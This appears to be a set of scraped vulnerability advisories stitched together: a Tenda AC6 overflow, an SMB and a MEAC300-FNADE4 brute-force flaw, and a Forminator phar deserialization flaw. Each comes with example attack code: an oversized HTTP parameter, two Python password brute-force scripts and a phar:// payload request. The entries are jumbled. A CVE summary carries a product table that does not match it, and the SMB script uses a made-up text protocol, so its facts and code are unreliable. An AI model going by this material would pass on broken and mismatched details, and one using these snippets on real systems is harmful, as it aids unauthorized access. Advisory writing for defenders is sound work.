Tenda AC6 | v15.03.05.16_multi

How the Exploit Works

The vulnerability arises from a buffer overflow in the formSetQosBand function. A malicious actor can exploit this by sending an overly large list parameter to this function. When the parameter exceeds the buffer limit, it could lead to a stack overflow that allows the attacker to execute arbitrary code or disrupt the system’s operation.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /formSetQosBand HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
list=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... [continue with 'A' characters until the buffer overflows]

In this example, the ‘A’ characters are sent as the list parameter in an amount that exceeds the buffer limit, leading to a potential buffer overflow.

Mitigation

Users are advised to apply the vendor patch for this vulnerability as soon as it becomes available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These can be configured to detect and block attempts to exploit this vulnerability.

As a result, this vulnerability could lead to severe consequences, such as system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-27456
Severity: High, CVSS score 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Windows Server | All versions prior to patch
Linux Samba Server | Versions 4.0.0 to 4.10.16

How the Exploit Works

An attacker could exploit this vulnerability by continuously attempting to authenticate with the SMB server using different credentials within a short timeframe. Given the lack of measures preventing multiple failed attempts, the server remains susceptible to these brute-force attacks. If successful, the attacker could potentially gain unauthorized access, leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might attempt to brute-force the server:

import socket
import itertools
import string
def try_login(ip, user, password):
s = socket.socket()
s.connect((ip, 445))
# Send SMB authentication request with the user and password
s.send(f'AUTH {user} {password}\n')
response = s.recv(1024)
s.close()
return 'Success' in response
def brute_force(ip, user):
for password_length in range(1, 9):  # Try passwords of length 1 to 8
for password in itertools.product(string.printable, repeat=password_length):
password = ''.join(password)
if try_login(ip, user, password):
print(f'Found password: {password}')
return
brute_force('192.0.2.0', 'admin')

In this mock example, the attacker is attempting to brute-force the ‘admin’ account on the server at IP address ‘192.0.2.0’. The attacker tries all printable ASCII characters in passwords of length 1 to 8. If a password is found, it’s printed and the attack stops.

Overview

The vulnerability, identified as CVE-2025-27449, is a severe security flaw found in the MEAC300-FNADE4 systems. This vulnerability allows potential attackers to execute brute-force attacks due to the system’s insufficiency in preventing multiple failed authentication attempts within a short time frame.

Vulnerability Summary

CVE ID: CVE-2025-27449
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

MEAC300-FNADE4 | All versions prior to patch

How the Exploit Works

The vulnerability stems from the system’s lack of effective measures to prevent multiple failed login attempts within a short timeframe. Attackers can exploit this weakness by repeatedly attempting to authenticate with different credentials until successful. This form of attack, known as brute force, can potentially allow an attacker to gain unauthorized access to the system.

Conceptual Example Code

The following is a conceptual example of a brute-force attack exploiting this vulnerability:

import requests
target_url = "http://target.example.com/login"
username = "admin"
# Brute force password
for password in password_list:
payload = {"username": username, "password": password}
response = requests.post(target_url, data=payload)
if response.status_code == 200:
print(f"Successful login with password: {password}")
break

In the above pseudocode, we attempt to authenticate with a list of passwords until a successful login response is received. This is a simplified example and real-world brute-force attacks may be more complex and sophisticated.

Mitigation Guidance

It is highly encouraged for users of MEAC300-FNADE4 to apply the vendor patch as soon as possible to mitigate this vulnerability. If the patch cannot be applied immediately, a temporary solution would be the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious authentication attempts.

The deserialization occurs when a form submission is deleted, either by an Administrator or via auto-deletion determined by plugin settings. If a PHP Object-Oriented Programming (POP) chain is present in an additional plugin or theme installed on the target system, arbitrary actions such as file deletion, sensitive data retrieval, or code execution could be performed depending on the POP chain present.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a malicious payload.

POST /forminator_forms/delete HTTP/1.1
Host: target.example.com
Content-Type: application/php
{ "entry_delete_upload_files": "phar://path/to/malicious/file.phar" }

Mitigation

Users are advised to apply the vendor patch immediately. For temporary mitigation, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious activities. However, these measures only offer temporary relief and do not address the root cause of the vulnerability.
